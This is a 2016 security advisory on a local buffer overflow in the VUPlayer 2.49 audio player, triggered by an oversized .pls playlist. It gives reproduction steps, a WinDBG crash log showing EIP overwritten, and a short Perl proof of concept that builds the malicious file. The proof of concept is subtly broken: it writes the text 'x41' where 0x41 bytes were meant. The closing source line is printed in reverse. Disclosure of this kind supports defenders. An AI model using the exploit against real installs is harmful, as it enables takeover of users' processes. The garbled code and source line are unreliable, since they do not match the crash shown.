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VUPlayer 2.49 - (.pls) Buffer Overflow Vulnerability

2016-07-27 18:45
Document Title:
===============
VUPlayer 2.49 - (.pls) Buffer Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1876


Release Date:
=============
2016-07-25


Vulnerability Laboratory ID (VL-ID):
====================================
1876


Common Vulnerability Scoring System:
====================================
6.4


Product & Service Introduction:
===============================
VUPlayer is a freeware multi-format audio player for windows.

(Copy of the Vendor Homepage: http://vuplayer.com/vuplayer.php )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the official
VUPlayer v2.49 software.


Vulnerability Disclosure Timeline:
==================================
2016-07-25: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
James Chapman
Product: VUPlayer - Music Player Software 2.49


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A buffer overflow vulnerability has been discovered in the official VUPlayer v2.49 software.
The vulnerability allows local attackers to overwrite the registers to compromise the local software process.

The classic buffer overflow vulnerability is located in the software VUPlayer. An attacker can manipulate the
bit EIP register in order to execute the next instruction of their choice. Attackers are able to for example
execute arbitrary codes with process privileges. The attacker includes a large unicode string to overwrite
the EIP register of the process. Finally the attacker is able to takeover the process by an overwrite of the
active program process to compromise the computer system.

The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability
scoring system) count of 6.4. Exploitation of the vulnerability requires a low privilege or restricted system
user account without user interaction. Successful exploitation of the vulnerability results in computer system
manipulation and compromise of the computer system.

Affected Extension(s):
[+] .pls


Proof of Concept (PoC):
=======================
The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without
user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to
continue.

Manual steps to reproduce the vulnerability ...
1. Launch VUPlayer.exe
2. Run the code in perl and a file format (.pls) will create
3. Click File - Open a playlist
4. Select the file (.pls)
5. Software will crash with Access violation
6. Successful reproduce of the local buffer overflow vulnerability!


--- Debug Session Logs [WinDBG] ---
Access violation - code c0000005
eax=00000000 ebx=0316e6c4 ecx=41414141 edx=00000000 esi=01670044 edi=0014efa8
eip=41414141 esp=0014ec3c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
41414141 ?? ???

Note: EIP, EBP & ECX overwritten


PoC : Perl Exploit (*.pl)
#!/usr/bin/perl
my $Buff = "x41" x 1200;
open(MYFILE,'>>File.pls');
print MYFILE $Buff;
close(MYFILE);
print " POC Created by ZwXn";


Security Risk:
==============
The security risk of the local buffer overflow vulnerability in the vuplayer software core is estimated as high. (CVSS
6.4)


Credits & Authors:
==================
ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all
warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if
Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential
or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack
into databases or trade with stolen data.

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Source: 97/luJ/6102/erusolcsidlluf/gro.stsilces

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